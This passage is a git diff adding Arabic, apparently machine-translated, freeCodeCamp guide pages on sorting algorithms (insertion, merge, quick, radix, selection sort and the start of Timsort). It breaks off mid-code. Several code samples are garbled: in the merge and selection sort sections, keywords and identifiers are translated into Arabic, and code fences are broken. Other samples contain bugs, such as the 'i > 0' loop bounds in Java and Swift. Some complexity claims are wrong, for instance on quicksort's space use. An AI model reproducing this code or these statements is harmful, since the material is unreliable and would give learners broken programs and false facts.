+ونظرًا لأن الفرز يمكن أن يقلل في كثير من الأحيان من تعقيد المشكلة ، إلا أنه يعد خوارزمية مهمة في علوم الكمبيوتر. هذه الخوارزميات لها تطبيقات مباشرة في البحث الخوارزميات ، خوارزميات قواعد البيانات ، طرق divide و conquer ، خوارزميات بنية البيانات ، وغيرها الكثير.
+
+### بعض خوارزميات الفرز الشائعة
+
+بعض خوارزميات الفرز الأكثر شيوعًا هي:
+
+*   اختيار نوع
+*   فقاعة الفرز
+*   ترتيب بالإدراج
+*   دمج التصنيف
+*   فرز سريع
+*   نوع كومة
+*   فرز الفرز
+*   تصنيف الجذر
+*   فرز دلو
+
+### تصنيف خوارزمية الفرز
+
+يمكن تصنيف خوارزميات الفرز وفقًا للمعايير التالية:
+
+1.  على أساس عدد المقايضات أو الانقلاب هذا هو عدد المرات التي تقوم فيها الخوارزمية بتبديل العناصر لفرز الإدخال. `Selection Sort` يتطلب الحد الأدنى لعدد المقايضات.
+    
+2.  على أساس عدد من المقارنات هذا هو عدد المرات التي تقارن فيها الخوارزمية بين العناصر لفرز الإدخال. باستخدام [تدوين Big-O](https://guide.freecodecamp.org/computer-science/notation/big-o-notation/) ، تتطلب أمثلة خوارزمية الفرز المذكورة أعلاه مقارنات `O(nlogn)` على الأقل في أفضل الحالات ومقارنات `O(n^2)` في أسوأ الحالات لمعظم المخرجات.
+    
+3.  على أساس Recursion أو Non-Recursion تستخدم بعض خوارزميات الفرز ، مثل `Quick Sort` ، تقنيات متكررة لفرز الإدخال. تستخدم خوارزميات الفرز الأخرى ، مثل `Selection Sort` أو `Insertion Sort` ، تقنيات غير متكررة. وأخيرًا ، تستخدم بعض خوارزميات الفرز ، مثل `Merge Sort` ، كل من الأساليب العودية وغير المتكررة لفرز الإدخال.
+    
+4.  على أساس الاستقرار ويقال إن خوارزميات الفرز تكون `stable` إذا احتفظت الخوارزمية بالترتيب النسبي للعناصر بمفاتيح متساوية. بمعنى آخر ، يظل عنصرين متكافئين بنفس الترتيب في الناتج الذي تم فرزه كما كانا في الإدخال.
+    
+
+*   `Insertion sort` `Merge Sort` و `Bubble Sort` ثابتة
+*   `Heap Sort` `Quick Sort` ليست مستقرة
+
+1.  على أساس متطلبات الفضاء الزائد ويقال إن خوارزميات الفرز تكون `in place` إذا كانت تتطلب مساحة إضافية ثابتة `O(1)` للفرز.
+
+*   `Insertion sort` `Quick-sort` `in place` ما حيث نقوم بنقل العناصر حول المحور ولا نستخدم فعليًا صفيفًا منفصلاً وهو ليس الحال في نوع الدمج حيث يجب تخصيص حجم الإدخال مسبقًا لتخزين المخرجات أثناء فرز.
+    
+*   `Merge Sort` مثالاً `out place` فرز `out place` حيث يتطلب مساحة إضافية للذاكرة لعملياتها.
+    
+
+### أفضل تعقيد زمني ممكن لأي فرز يستند إلى المقارنة
+
+أي خوارزمية الفرز على أساس المقارنة يجب أن تقوم بعمل مقارنات nLog2n على الأقل لفرز صفيف المدخلات ، و Heapsort وفرز الدمج هما نوعان من المقارنة المثالية. ويمكن أن يثبت ذلك بسهولة عن طريق رسم مخطط شجرة الشطرنج.
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/insertion-sort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/insertion-sort/index.md
new file mode 100644
index 0000000000..55135a87a6
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/insertion-sort/index.md
@@ -0,0 +1,188 @@
+---
+title: Insertion Sort
+localeTitle: ترتيب بالإدراج
+---
+## ترتيب بالإدراج
+
+الفرز الإدراج هو خوارزمية الفرز أبسط وفعالة لعدد صغير من العناصر.
+
+### مثال:
+
+في فرز الإدراج ، يمكنك مقارنة العنصر `key` بالعناصر السابقة. إذا كانت العناصر السابقة أكبر من العنصر `key` ، فانتقل العنصر السابق إلى الموضع التالي.
+
+تبدأ من الفهرس 1 إلى حجم صفيف الإدخال.
+
+\[8 3 5 1 4 2\]
+
+الخطوة 1 :
+
+! [\[8 3 5 1 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/1.png?raw=true)
+
+ ``      key = 3 //starting from 1st index. 
+ 
+      Here `key` will be compared with the previous elements. 
+ 
+      In this case, `key` is compared with 8. since 8 > 3, move the element 8 
+      to the next position and insert `key` to the previous position. 
+ 
+      Result: [ 3 8 5 1 4 2 ] 
+`` 
+
+الخطوة 2 :
+
+! [\[3 8 5 1 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/2.png?raw=true)
+
+ `      key = 5 //2nd index 
+ 
+      8 > 5 //move 8 to 2nd index and insert 5 to the 1st index. 
+ 
+      Result: [ 3 5 8 1 4 2 ] 
+` 
+
+الخطوه 3 :
+
+! [\[3 5 8 1 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/3.png?raw=true)
+
+ `      key = 1 //3rd index 
+ 
+      8 > 1     => [ 3 5 1 8 4 2 ] 
+ 
+      5 > 1     => [ 3 1 5 8 4 2 ] 
+ 
+      3 > 1     => [ 1 3 5 8 4 2 ] 
+ 
+      Result: [ 1 3 5 8 4 2 ] 
+` 
+
+الخطوة الرابعة:
+
+! [\[1 3 5 8 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/4.png?raw=true)
+
+ `      key = 4 //4th index 
+ 
+      8 > 4   => [ 1 3 5 4 8 2 ] 
+ 
+      5 > 4   => [ 1 3 4 5 8 2 ] 
+ 
+      3 > 4   ≠>  stop 
+ 
+      Result: [ 1 3 4 5 8 2 ] 
+` 
+
+الخطوة الخامسة:
+
+! [\[1 3 4 5 8 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/5.png?raw=true)
+
+ `      key = 2 //5th index 
+ 
+      8 > 2   => [ 1 3 4 5 2 8 ] 
+ 
+      5 > 2   => [ 1 3 4 2 5 8 ] 
+ 
+      4 > 2   => [ 1 3 2 4 5 8 ] 
+ 
+      3 > 2   => [ 1 2 3 4 5 8 ] 
+ 
+      1 > 2   ≠> stop 
+ 
+      Result: [1 2 3 4 5 8] 
+` 
+
+! [\[1 2 3 4 5 8\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/6.png?raw=true)
+
+الخوارزمية أدناه هو الإصدار لتجنب مبادلة الأمثل قليلا `key` عنصر في كل التكرار. هنا ، سيتم تبديل العنصر `key` في نهاية التكرار (الخطوة).
+
+ `    InsertionSort(arr[]) 
+      for j = 1 to arr.length 
+         key = arr[j] 
+         i = j - 1 
+         while i > 0 and arr[i] > key 
+            arr[i+1] = arr[i] 
+            i = i - 1 
+         arr[i+1] = key 
+` 
+
+في ما يلي تطبيق تم إلغاء تنفيذه في جافا سكريبت:
+
+ `function insertion_sort(A) { 
+    var len = array_length(A); 
+    var i = 1; 
+    while (i < len) { 
+        var x = A[i]; 
+        var j = i - 1; 
+        while (j >= 0 && A[j] > x) { 
+            A[j + 1] = A[j]; 
+            j = j - 1; 
+        } 
+        A[j+1] = x; 
+        i = i + 1; 
+    } 
+ } 
+` 
+
+يتم تنفيذ سريع في سويفت كما هو موضح أدناه:
+
+ `  var array = [8, 3, 5, 1, 4, 2] 
+ 
+  func insertionSort(array:inout Array<Int>) -> Array<Int>{ 
+      for j in 0..<array.count { 
+          let key = array[j] 
+          var i = j-1 
+ 
+          while (i > 0 && array[i] > key){ 
+              array[i+1] = array[i] 
+              i = i-1 
+          } 
+          array[i+1] = key 
+      } 
+      return array 
+  } 
+` 
+
+يظهر مثال Java أدناه:
+
+ `public int[] insertionSort(int[] arr) 
+      for (j = 1; j < arr.length; j++) { 
+         int key = arr[j] 
+         int i = j - 1 
+         while (i > 0 and arr[i] > key) { 
+            arr[i+1] = arr[i] 
+            i -= 1 
+         } 
+         arr[i+1] = key 
+      } 
+      return arr; 
+` 
+
+### الإدراج الإدراج في ج ...
+
+ `void insertionSort(int arr[], int n) 
+ { 
+   int i, key, j; 
+   for (i = 1; i < n; i++) 
+   { 
+       key = arr[i]; 
+       j = i-1; 
+       while (j >= 0 && arr[j] > key) 
+       { 
+           arr[j+1] = arr[j]; 
+           j = j-1; 
+       } 
+       arr[j+1] = key; 
+   } 
+ } 
+` 
+
+### الخصائص:
+
+*   تعقيد الفضاء: O (1)
+*   تعقيد الوقت: O (n)، O (n \* n)، O (n \* n) لأفضل ، متوسط ​​، أسوأ حالات على التوالي
+*   الفرز في المكان: نعم
+*   مستقرة: نعم
+
+#### موارد آخرى:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Insertion_sort)
+*   [CS50 - YouTube](https://youtu.be/TwGb6ohsvUU)
+*   [SortInsertion - GeeksforGeeks، YouTube](https://www.youtube.com/watch?v=wObxd4Kx8sE)
+*   [الإدراج فرز التصور](https://www.hackerearth.com/practice/algorithms/sorting/insertion-sort/visualize/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/merge-sort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/merge-sort/index.md
new file mode 100644
index 0000000000..16ec9822ea
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/merge-sort/index.md
@@ -0,0 +1,202 @@
+---
+title: Merge Sort
+localeTitle: دمج التصنيف
+---
+## دمج التصنيف
+
+دمج التصنيف هو خوارزمية [Divide و Conquer](https://guide.freecodecamp.org/algorithms/divide-and-conquer-algorithms) . يقسم صفيف الإدخال في نصفين ، يستدعي نفسه للنصفين ثم يدمج نصفين مفروزين. يتم إعطاء الجزء الرئيسي من الخوارزمية صفيفتين مفروشتين ، يجب علينا دمجها في مصفوفة مرتبة واحدة. هناك شيء معروف باسم [خوارزمية الإصبع اثنين](http://www.geeksforgeeks.org/merge-two-sorted-arrays/) التي تساعدنا على دمج صفيفتين مفروشتين معاً. إن استخدام هذا الروتين الفرعي والدعوة لفرز وظيفة الدمج على صفيف الصفيف بشكل متكرر سوف يعطينا الصف النهائي المصنف الذي نبحث عنه.
+
+بما أن هذه خوارزمية تستند إلى العودية ، فلدينا علاقة تكرارية لها. إن علاقة التكرار هي ببساطة طريقة لتمثيل مشكلة من حيث مشاكلها الثانوية.
+
+`T(n) = 2 * T(n / 2) + O(n)`
+
+وضعه في الإنجليزية بسيطة ، نقوم بتحليل المشكلة الفرعية إلى جزأين في كل خطوة ولدينا بعض العمل الخطي الذي يتعين علينا القيام به لدمج النصفين اللذين تم فرزهما معاً في كل خطوة.
+
+ `T(n) = 2T(n/2) + n 
+     = 2(2T(n/4) + n/2) + n 
+     = 4T(n/4) + n + n 
+     = 4(2T(n/8) + n/4) + n + n 
+     = 8T(n/8) + n + n + n 
+     = nT(n/n) + n + ... + n + n + n 
+     = n + n + ... + n + n + n 
+` 
+
+بإحصاء عدد التكرارات لـ n في المجموع في النهاية ، نرى أن هناك lg n + 1 منهم. وبالتالي فإن وقت التشغيل هو n (lg n + 1) = n lg n + n. نلاحظ أن ng n + n <n lg n + n lg n = 2n lg n لـ n> 0 ، وبالتالي فإن وقت التشغيل هو O (n lg n).
+
+ `MergeSort(arr[], left,  right): 
+ If right > l: 
+     1. Find the middle point to divide the array into two halves: 
+             mid = (left+right)/2 
+     2. Call mergeSort for first half: 
+             Call mergeSort(arr, left, mid) 
+     3. Call mergeSort for second half: 
+             Call mergeSort(arr, mid+1, right) 
+     4. Merge the two halves sorted in step 2 and 3: 
+             Call merge(arr, left, mid, right) 
+ ``` 
+ 
+ ![Merge Sort Algorithm](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/Merge_sort_algorithm_diagram.svg/300px-Merge_sort_algorithm_diagram.svg.png) 
+ 
+ ### Properties: 
+ * Space Complexity: O(n) 
+ * Time Complexity: O(n*log(n)). The time complexity for the Merge Sort might not be obvious from the first glance. The log(n) factor that comes in is because of the recurrence relation we have mentioned before. 
+ * Sorting In Place: No in a typical implementation 
+ * Stable: Yes 
+ * Parallelizable :yes (Several parallel variants are discussed in the third edition of Cormen, Leiserson, Rivest, and Stein's Introduction to Algorithms.) 
+ 
+ ### Visualization: 
+ * <a href='https://www.cs.usfca.edu/~galles/visualization/ComparisonSort.html'>USFCA</a> 
+ * <a href='https://www.hackerearth.com/practice/algorithms/sorting/merge-sort/visualize/'>HackerEarth</a> 
+ 
+ 
+ ### Relavant videos on freeCodeCamp YouTube channel 
+ * <a href='https://youtu.be/TzeBrDU-JaY'>Merge Sort algorithm - MyCodeSchool</a> 
+ 
+ ### Other Resources: 
+ * <a href='https://en.wikipedia.org/wiki/Merge_sort' target='_blank' rel='nofollow'>Wikipedia</a> 
+ * <a href='www.geeksforgeeks.org/merge-sort' target='_blank' rel='nofollow'>GeeksForGeeks</a> 
+ * <a href='https://youtu.be/sWtYJv_YXbo' target='_blank' rel='nofollow'>Merge Sort - CS50</a> 
+ 
+ ### Implementaion in JS 
+` 
+
+شبيبة قائمة const = = 23 ، 4 ، 42 ، 15 ، 16 ، 8 ، 3\]
+
+const mergeSort = (list) => { إذا (list.length <= 1) قائمة العودة ؛ const الأوسط = list.length / 2؛ const left = list.slice (0، middle)؛ const right = list.slice (middle، list.length)؛ دمج مدمج (mergeSort (يسار) ، mergeSort (يمين)) ؛ }
+
+const merge = (يسار ، يمين) => { var result = \[\]؛ بينما (left.length || right.length) { if (left.length && right.length) { if (left \[0\] <right \[0\]) { result.push (left.shift ()) } آخر { result.push (right.shift ()) } } آخر إذا كان (left.length) { result.push (left.shift ()) } آخر { result.push (right.shift ()) } } نتيجة العودة }
+
+console.log (mergeSort (list)) // \[3، 4، 8، 15، 16، 23، 42\]
+
+ `### Implementation in C 
+` 
+
+C
+
+# تتضمن
+
+# تتضمن
+
+void merge (int arr \[\]، int l، int m، int r) { int i، j، k؛ int n1 = m - l + 1؛ int n2 = r - m؛
+
+ `int L[n1], R[n2]; 
+ 
+ for (i = 0; i < n1; i++) 
+    L[i] = arr[l + i]; 
+ for (j = 0; j < n2; j++) 
+    R[j] = arr[m + 1+ j]; 
+ i = 0; 
+ j = 0; 
+ k = l; 
+ while (i < n1 && j < n2) 
+ { 
+    if (L[i] <= R[j]) 
+    { 
+        arr[k] = L[i]; 
+        i++; 
+    } 
+    else 
+    { 
+        arr[k] = R[j]; 
+        j++; 
+    } 
+    k++; 
+ } 
+ 
+ 
+ while (i < n1) 
+ { 
+    arr[k] = L[i]; 
+    i++; 
+    k++; 
+ } 
+ 
+ while (j < n2) 
+ { 
+    arr[k] = R[j]; 
+    j++; 
+    k++; 
+ } 
+` 
+
+}
+
+void mergeSort (int arr \[\]، int l، int r) { إذا (l <r) {  
+int m = l + (rl) / 2؛
+
+ `    mergeSort(arr, l, m); 
+    mergeSort(arr, m+1, r); 
+ 
+    merge(arr, l, m, r); 
+ } 
+` 
+
+} void printArray (int A \[\] ، حجم int) { int i؛ لـ (i = 0؛ i <size؛ i ++) printf ("٪ d"، A \[i\])؛ printf ( "\\ ن")؛ } انت مين() { int arr \[\] = {12، 11، 13، 5، 6، 7}؛ int arr\_size = sizeof (arr) / sizeof (arr \[0\])؛
+
+ `printf("Given array is \n"); 
+ printArray(arr, arr_size); 
+ 
+ mergeSort(arr, 0, arr_size - 1); 
+ 
+ printf("\nSorted array is \n"); 
+ printArray(arr, arr_size); 
+ return 0; 
+` 
+
+ `### Implementation in C++ 
+ 
+ Let us consider array A = {2,5,7,8,9,12,13} 
+ and array B = {3,5,6,9,15} and we want array C to be in ascending order as well. 
+` 
+
+ج ++ vcess mergesort (int A \[\]، int size _a، int B \[\]، int size_ b، int C \[\]) { رمز token _a ، الرمز المميز_ b ، الرمز المميز _c ؛ for (token_ a = 0، token _b = 0، token_ c = 0؛ token _a_ _a && token _b__ __ب؛ ) { إذا (A \[token _a\] <= B \[token_ b\]) C \[token _c ++\] = A \[token_ a ++\]؛ آخر C \[token _c ++\] = B \[token_ b ++\]؛ }__
+
+ `  if(token_a<size_a) 
+  { 
+      while(token_a<size_a) 
+           C[token_c++]=A[token_a++]; 
+  } 
+  else 
+  { 
+      while(token_b<size_b) 
+           C[token_c++]=B[token_b++]; 
+  } 
+` 
+
+}
+
+ `### Implementation in Python 
+` 
+
+الثعبان درجة الحرارة = لا شيء def def (arr، left، right): درجة الحرارة العالمية ، الانقلابات mid = (يسار + يمين) // 2 لأني في النطاق (يسار ، يمين + 1): درجة الحرارة \[i\] = arr \[i\]
+
+ `k, L, R = left, left, mid + 1 
+ while L <= mid and R <= right: 
+    if temp[L] <= temp[R]: 
+        arr[k] = temp[L] 
+        L += 1 
+    else: 
+        arr[k] = temp[R] 
+        R += 1 
+    k += 1 
+ 
+ while L <= mid: 
+    arr[k] = temp[L] 
+    L += 1 
+    k += 1 
+ 
+ while R <= right: 
+    arr[k] = temp[R] 
+    R += 1 
+    k += 1 
+` 
+
+def merge\_sort (arr، left، right): إذا تركت> = يمين: إرجاع
+
+ `mid = (left + right) // 2 
+ merge_sort(arr, left, mid) 
+ merge_sort(arr, mid + 1, right) 
+ merge(arr, left, right) 
+` 
+
+arr = \[1،6،3،1،8،4،2،9،3\] temp = \[لا شيء لـ \_ في النطاق (len (arr))\] merge\_sort (arr، 0، len (arr) - 1) print (arr، inverseions) \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/quick-sort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/quick-sort/index.md
new file mode 100644
index 0000000000..af309f4e06
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/quick-sort/index.md
@@ -0,0 +1,144 @@
+---
+title: Quick Sort
+localeTitle: فرز سريع
+---
+## فرز سريع
+
+الفرز السريع هو خوارزمية الفرز وقسمة فعالة للفرز. متوسط ​​وقت تعقيد وقت فرز سريع هو O (nlog (n)) مع تعقيد وقت الحالة الأسوأ O (n ^ 2).
+
+الخطوات التي يتضمنها التصنيف السريع هي:
+
+*   اختر عنصرًا ليستخدم كمحور ، وفي هذه الحالة ، يكون العنصر الأخير في المصفوفة هو المحور.
+*   التقسيم: قم بفرز المصفوفة بطريقة بحيث تكون جميع العناصر الأقل من المحور على الجانب الأيسر ، وتكون جميع العناصر الأكبر من المحور على الجانب الأيمن.
+*   استدعاء Quicksort بشكل متكرر ، مع الأخذ بعين الاعتبار المحور السابق للتقسيم الصحيح للصفيفين الأيمن والأيسر. (يمكن العثور على شرح أكثر تفصيلاً في التعليقات أدناه)
+
+تنفيذ سريع في JavaScript:
+
+ `const arr = [6, 2, 5, 3, 8, 7, 1, 4] 
+ 
+ const quickSort = (arr, start, end) => { 
+ 
+  if(start < end) { 
+ 
+    // You can learn about how the pivot value is derived in the comments below 
+    let pivot = partition(arr, start, end) 
+ 
+    // Make sure to read the below comments to understand why pivot - 1 and pivot + 1 are used 
+    // These are the recursive calls to quickSort 
+    quickSort(arr, start, pivot - 1) 
+    quickSort(arr, pivot + 1, end) 
+  } 
+ 
+ } 
+ 
+ const partition = (arr, start, end) => { 
+  let pivot = end 
+  // Set i to start - 1 so that it can access the first index in the event that the value at arr[0] is greater than arr[pivot] 
+  // Succeeding comments will expound upon the above comment 
+  let i = start - 1 
+  let j = start 
+ 
+  // Increment j up to the index preceding the pivot 
+  while (j < pivot) { 
+ 
+    // If the value is greater than the pivot increment j 
+    if (arr[j] > arr[pivot]) { 
+      j++ 
+    } 
+ 
+    // When the value at arr[j] is less than the pivot: 
+    // increment i (arr[i] will be a value greater than arr[pivot]) and swap the value at arr[i] and arr[j] 
+    else { 
+      i++ 
+      swap(arr, j, i) 
+      j++ 
+    } 
+ 
+  } 
+ 
+  //The value at arr[i + 1] will be greater than the value of arr[pivot] 
+  swap(arr, i + 1, pivot) 
+ 
+  //You return i + 1, as the values to the left of it are less than arr[i+1], and values to the right are greater than arr[i + 1] 
+  // As such, when the recursive quicksorts are called, the new sub arrays will not include this the previously used pivot value 
+  return i + 1 
+ } 
+ 
+ const swap = (arr, firstIndex, secondIndex) => { 
+  let temp = arr[firstIndex] 
+  arr[firstIndex] = arr[secondIndex] 
+  arr[secondIndex] = temp 
+ } 
+ 
+ quickSort(arr, 0, arr.length - 1) 
+ console.log(arr) 
+` 
+
+تنفيذ فرز سريع في C
+
+ `#include<stdio.h> 
+ void swap(int* a, int* b) 
+ { 
+    int t = *a; 
+    *a = *b; 
+    *b = t; 
+ } 
+ int partition (int arr[], int low, int high) 
+ { 
+    int pivot = arr[high]; 
+    int i = (low - 1); 
+ 
+    for (int j = low; j <= high- 1; j++) 
+    { 
+        if (arr[j] <= pivot) 
+        { 
+            i++; 
+            swap(&arr[i], &arr[j]); 
+        } 
+    } 
+    swap(&arr[i + 1], &arr[high]); 
+    return (i + 1); 
+ } 
+ void quickSort(int arr[], int low, int high) 
+ { 
+    if (low < high) 
+    { 
+        int pi = partition(arr, low, high); 
+ 
+        quickSort(arr, low, pi - 1); 
+        quickSort(arr, pi + 1, high); 
+    } 
+ } 
+ 
+ 
+ void printArray(int arr[], int size) 
+ { 
+    int i; 
+    for (i=0; i < size; i++) 
+        printf("%d ", arr[i]); 
+    printf("n"); 
+ } 
+ 
+ 
+ int main() 
+ { 
+    int arr[] = {10, 7, 8, 9, 1, 5}; 
+    int n = sizeof(arr)/sizeof(arr[0]); 
+    quickSort(arr, 0, n-1); 
+    printf("Sorted array: n"); 
+    printArray(arr, n); 
+    return 0; 
+ } 
+` 
+
+تعقيد الفضاء من الفرز السريع هو O (n). هذا هو تحسين على غيرها من خوارزميات الفرز الانقسام وقهر ، والتي تأخذ O (nlong (n)) الفضاء. الفرز السريع يحقق ذلك عن طريق تغيير ترتيب العناصر داخل الصفيف المحدد. مقارنة هذا مع خوارزمية [الفرز دمج](https://guide.freecodecamp.org/algorithms/sorting-algorithms/merge-sort) الذي يخلق 2 صفائف ، كل طول n / 2 ، في كل استدعاء وظيفة.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Quicksort)
+    
+*   [GeeksForGeeks](http://www.geeksforgeeks.org/quick-sort)
+    
+*   [يوتيوب: شرح بصري من Quicksort](https://www.youtube.com/watch?v=MZaf_9IZCrc)
+    
+*   [يوتيوب: Gayle لاكمان ماكدويل (مؤلف كتاب Cracking The Coding Interview) يشرح أساسيات Quicksort وإظهار بعض التطبيقات](https://www.youtube.com/watch?v=SLauY6PpjW4)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/radix-sort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/radix-sort/index.md
new file mode 100644
index 0000000000..984765286b
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/radix-sort/index.md
@@ -0,0 +1,111 @@
+---
+title: Radix Sort
+localeTitle: تصنيف الجذر
+---
+## تصنيف الجذر
+
+المتطلب السابق: فرز الفرز
+
+QuickSort و MergeSort و HeapSort هي خوارزميات الفرز على أساس المقارنة. CountSort لا يستند إلى خوارزمية تستند. لديه تعقيد O (n + k) ، حيث k هو العنصر الأقصى لصفيف الإدخال. لذلك ، إذا كانت k هي O (n) ، تصبح CountSort الفرز الخطي ، وهو أفضل من خوارزميات الفرز القائمة على المقارنة التي تحتوي على تعقيد زمن O (nlogn). تتمثل الفكرة في توسيع خوارزمية CountSort للحصول على تعقيد زمني أفضل عندما يصل k إلى O (n2). هنا تأتي فكرة "تصنيف الجذر".
+
+الخوارزمية:
+
+لكل رقم i حيث تختلف من الرقم الأقل أهمية إلى الرقم الأكثر أهمية من رقم ما فرز مصفوفة إدخال باستخدام خوارزمية countsort وفقا لرقم ith. استخدمنا فرز الفرز لأنه نوع مستقر.
+
+مثال: لنفترض أن مصفوفة الإدخال هي:
+
+10،21،17،34،44،11،654،123
+
+استنادًا إلى الخوارزمية ، سنقوم بتصنيف مصفوفة الدخل وفقًا للرقم (الرقم الأقل أهمية).
+
+0: 10  
+1: 21 11  
+2:  
+3: 123  
+4: 34 44 654  
+5:  
+6:  
+7: 17  
+8:  
+9:  
+
+لذلك ، يصبح الصفيف 10،21،11،123،24،44،654،17 الآن ، سنقوم بالفرز وفقًا للأرقام العشرة:
+
+0:  
+1: 10 11 17  
+2: 21 123  
+3: 34  
+4: 44  
+5: 654  
+6:  
+7:  
+8:  
+9:
+
+الآن ، يصبح الصفيف: 10،11،17،21،123،34،44،654 وأخيرًا ، نقوم بالفرز وفقًا لأرقام المائة (الرقم الأكثر أهمية):
+
+0: 010 011 017 021 034 044  
+1: 123  
+2:  
+3:  
+4:  
+5:  
+6: 654  
+7:  
+8:  
+9:
+
+يصبح الصفيف: 10،11،17،21،34،44،123،654 والذي يتم فرزه. هذه هي الطريقة التي تعمل بها الخوارزمية.
+
+تنفيذ في C:
+
+ `void countsort(int arr[],int n,int place){ 
+ 
+        int i,freq[range]={0};         //range for integers is 10 as digits range from 0-9 
+ 
+        int output[n]; 
+ 
+        for(i=0;i<n;i++) 
+ 
+                freq[(arr[i]/place)%range]++; 
+ 
+        for(i=1;i<range;i++) 
+ 
+                freq[i]+=freq[i-1]; 
+ 
+        for(i=n-1;i>=0;i--){ 
+ 
+                output[freq[(arr[i]/place)%range]-1]=arr[i]; 
+ 
+                freq[(arr[i]/place)%range]--; 
+ 
+        } 
+ 
+        for(i=0;i<n;i++) 
+ 
+                arr[i]=output[i]; 
+ 
+ } 
+ 
+ void radixsort(ll arr[],int n,int maxx){            //maxx is the maximum element in the array 
+ 
+        int mul=1; 
+ 
+        while(maxx){ 
+ 
+                countsort(arr,n,mul); 
+ 
+                mul*=10; 
+ 
+                maxx/=10; 
+ 
+        } 
+ 
+ } 
+` 
+
+### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Radix_sort)
+    
+*   [GeeksForGeeks](http://www.geeksforgeeks.org/radix-sort/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/selection-sort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/selection-sort/index.md
new file mode 100644
index 0000000000..8a79374ccf
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/selection-sort/index.md
@@ -0,0 +1,66 @@
+---
+title: Selection Sort
+localeTitle: اختيار نوع
+---
+## اختيار نوع
+
+اختيار الترتيب هو واحد من أكثر خوارزميات الفرز بسيطة. يعمل بالطريقة التالية ،
+
+1.  العثور على أصغر عنصر. مبادلة مع العنصر الأول.
+2.  ابحث عن ثاني أصغر عنصر. مبادلة مع العنصر الثاني.
+3.  العثور على ثالث أصغر عنصر. مبادلة مع العنصر الثالث.
+4.  كرر تحديد العنصر الأصغر التالي وقم بتبديله إلى الموضع الصحيح المناظر حتى يتم فرز المصفوفة.
+
+كما يمكنك تخمين ، تسمى هذه الخوارزمية "فرز التحديد" لأنه يختار العنصر الأصغر التالي بشكل متكرر ويقوم بتبديله في مكانه.
+
+ولكن ، كيف تكتب الكود للعثور على فهرس ثاني أصغر قيمة في مصفوفة؟
+
+*   والطريقة السهلة هي ملاحظة أن القيمة الأصغر قد تم تبديلها بالفعل في الفهرس 0 ، لذا تنخفض المشكلة للعثور على أصغر عنصر في المصفوفة بدءًا من الفهرس 1.
+
+### التنفيذ في C / C ++
+
+ `for(int i = 0; i < n; i++) 
+ { 
+    int min_index = i; 
+    int min_element = a[i]; 
+ 
+    for(int j = i +1; j < n; j++) 
+    { 
+        if(a[j] < min_element) 
+        { 
+            min_element = a[j]; 
+            min_index = j; 
+        } 
+    } 
+ 
+    swap(&a[i], &a[min_index]); 
+ } 
+` 
+
+### التنفيذ في جافا سكريبت
+
+\`\` \`جافا سكريبت _فرز الفرز_ الوظيفي _(أ) { var len =_ طول _الصفيف_ (A)؛ لـ (var i = 0؛ i <len - 1؛ i = i + 1) { var j _min = i؛ for (var j = i + 1؛ j <len؛ j = j + 1) { if (A \[j\] <A \[j_ min\]) { j _min = j؛ } آخر {} } if (j_ min! == i) { مبادلة (A، i، j\_min)؛ } آخر {} } }
+
+تبديل الدالة (A، x، y) { var temp = A \[x\]؛ A \[x\] = A \[y\]؛ A \[ص\] = درجة الحرارة }
+
+ `### Implementation in Python 
+` 
+
+الثعبان def seletion _sort (arr): إن لم يكن arr: عودة arr لأني في المدى (len (arr)): دقيقة_ ط = ط لـ j في النطاق (i + 1، len (arr)): إذا كان \[j\] <arr \[min _i\]: دقيقة_ ط = ي arr \[i\] ، arr \[min _i\] = arr \[min_ i\] ، arr \[i\] \`\` \`
+
+### الخصائص
+
+*   تعقيد الفضاء: **O (n)**
+*   تعقيد الوقت: **O (n 2 )**
+*   الفرز في المكان: **نعم**
+*   مستقرة: **لا**
+
+### تصور
+
+*   [USFCA](https://www.cs.usfca.edu/~galles/visualization/ComparisonSort.html)
+*   [HackerEarth](https://www.hackerearth.com/practice/algorithms/sorting/selection-sort/visualize/)
+
+### المراجع
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Selection_sort)
+*   [أكاديمية خان](https://www.khanacademy.org/computing/computer-science/algorithms#sorting-algorithms)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/sorting-algorithms/timsort/index.md b/client/src/guide/arabic/algorithms/sorting-algorithms/timsort/index.md
new file mode 100644
index 0000000000..d48e57117e
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/sorting-algorithms/timsort/index.md
@@ -0,0 +1,112 @@
+---
+title: Timsort
+localeTitle: Timsort
+---
+## Timsort
+
+Timsort هي خوارزمية الفرز السريع تعمل في تعقيد ثابت O (N log (N))
+
+Timsort هو مزيج على الإدراج الإدراج و Mergesort. يتم تنفيذ هذه الخوارزمية في Arrays.sort () في Java بالإضافة إلى تصنيف Python () وفرزها () يتم فرز الجزء الأصغر باستخدام "فرز الإدراج" ويتم دمجها فيما بعد باستخدام "Mergesort".
+
+تنفيذ سريع في بايثون:
+
+ `def binary_search(the_array, item, start, end): 
+    if start == end: 
